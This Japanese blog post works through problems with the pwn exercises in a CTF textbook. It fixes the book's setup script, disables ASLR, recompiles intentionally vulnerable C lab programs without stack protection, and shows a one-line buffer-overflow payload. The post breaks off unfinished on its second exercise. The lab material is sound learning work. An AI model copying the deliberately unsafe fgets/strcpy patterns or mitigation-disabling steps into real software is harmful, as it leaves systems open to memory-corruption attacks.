ハリネズミ本における陥りやすい罠

CTFにおける入門本として紹介される、ハリネズミ本で詰まるという点を自分の分かる限りでまとめたいと思います。

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い

https://www.amazon.co.jp/dp/B017X3D3GE/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1

(アソシエイトリンクではありません。)

f:id:Yunolay:20190803193639j:plain

今回はメインで紹介されているpwnについて焦点を当てて行きます。

環境構築

本書サポートサイトでは本書で使用されているスクリプトがダウンロード可能です。

セキュリティコンテストチャレンジブック サポートサイト | マイナビブックス

Part2 Pwn:演習ファイル book4b_pwn.zip(27KB)では環境制作のスクリプトsetup.shが提供されています。

setup.sh

#!/bin/sh
sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
git clone https://github.com/zachriggle/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
export PATH=$HOME/bin:$PATH
mkdir $HOME/bin
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
chmod +x $HOME/bin/rp
wget https://github.com/slimm609/checksec.sh/archive/1.6.tar.gz
tar zxvf 1.6.tar.gz
cp checksec.sh-1.6/checksec $HOME/bin/checksec.sh

ですがこのsetup.shはpedaを古いリポジトリからcloneしているため、正常に動きません。

以下リポジトリより最新版をダウンロードしましょう。

GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB

setup.sh

#!/bin/sh
sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
export PATH=$HOME/bin:$PATH
mkdir $HOME/bin
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
chmod +x $HOME/bin/rp
wget https://github.com/slimm609/checksec.sh/archive/1.6.tar.gz
tar zxvf 1.6.tar.gz
cp checksec.sh-1.6/checksec $HOME/bin/checksec.sh

まず本書の環境としては

  • OS Ubuntu 14.04 LTS x86 -64
  • ALSR (アドレスのランダマイズ化は無効で実行されています。)

が、あえて最新環境(18.04, 現在は19.04出ましたが)で再現出来なくて困ってるというとのことでUbuntu 18.04にてコンパイルを行って試したいと思います。

$ uname -a
Linux ubuntu 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Step 4

実際に攻撃を行うステップ4, bof2から行います。

bof2

# ASLRの無効化
# これは実行時のアドレスをランダマイズ化するセキュリティ機構です。
# 再起動したりすると有効になる場合もあります。
# sudo sysctl -w kernel.randomize_va_space=2で有効化に戻せます。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

ldd --version                                
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

# 元のglicでコンパイルされたバージョンの削除
$ rm bof2

$ gcc -m32 -fno-stack-protector -o bof2 bof2.c

$ cat bof2.c 
#include <stdio.h>

int main(int argc, char *argv[]) {
    int zero = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("zero address\t= %x\n", (int)&zero);

    fgets(buffer, 64, stdin);
    printf("zero = 0x%x\n", zero);
    if (zero == 0x12345678) {
        printf("congrats!\n");
    }
    return 0;
}
stack
------------
buffer[10] # 10byte
zero = 0
------------

zeroを0x12345678もすればif (zero == 0x12345678)がTrueになるはずです。

データの書き込みにはLittle Endianを使用します。

python -c "print 'A'*10+'\x78\x56\x34\x12'" | ./bof2 
buffer address  = ffffd022
zero address    = ffffd02c
zero = 0x12345678
congrats!
[1]    5766 done                              python -c "print 'A'*10+'\x78\x56\x34\x12'" | 
       5767 segmentation fault (core dumped)  ./bof2

Exitしたりしてないためセグフォしましたが、目的が果たせたので良しとします。

bof3

$ cat bof3.c 
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ rm bof3

$ gcc -m32 -fno-stack-protector -o bof3 bof3.c
bof3.c: In function ‘main’:
bof3.c:8:24: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘char (*)[32][-Wformat=]
     printf("buffer: 0x%x\n", &buffer);
                       ~^     ~~~~~~~

(追記)配布バイナリにおける正常どうさは下記Twitterの動画をご覧ください。
f:id:Yunolay:20190809161145p:plain

ソースコードでは、local[32]に対して128byte fgetsしています。 その前にコンパイルでエラーが出ました。

これぱポインタの表示が%xではなく%pを使用するWarningです。

$ cat bof3.c 
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%p\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ gcc -m32 -fno-stack-protector -o bof3 bof3.c

無事コンパイル出来ましたが、%xを使用します。

$ cat bof3.c
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ gcc -m32 -w -fno-stack-protector -o bof3 bof3.c

$ gdb bof3

-w オプションはコンパイル時のWarningメッセージを抑制します。

しかしながら

ESP: 0x4141293d ('=)AA')
EIP: 0x56555614 (<main+119>:    ret)

'=)AA'の=どこから来たんだよって感じで自分では解決出来ませんでした。
プロの方のコメントを待っています。

気を取り直して16.04にて試してみます。

$ head /etc/os-release
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"

$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ここで記事を書くのに飽きました。 ごめんなさい。ツイッター等を参考ください。コメントをくださってる方もいます。

まとめ

入門本としての活用はサポートサイトをからダウンロードしたバイナリで検証を行うとよいと思います。

セキュリティコンテストチャレンジブック サポートサイト | マイナビブックス

本書は入門で雰囲気を掴むにはおすすめとてもおすすめできる素晴らしい本です。
しかしながら本書はx86に焦点を当てているため、近年で使用されるバイナリはx64なので注意が必要です。

プロの方の修正、待ってます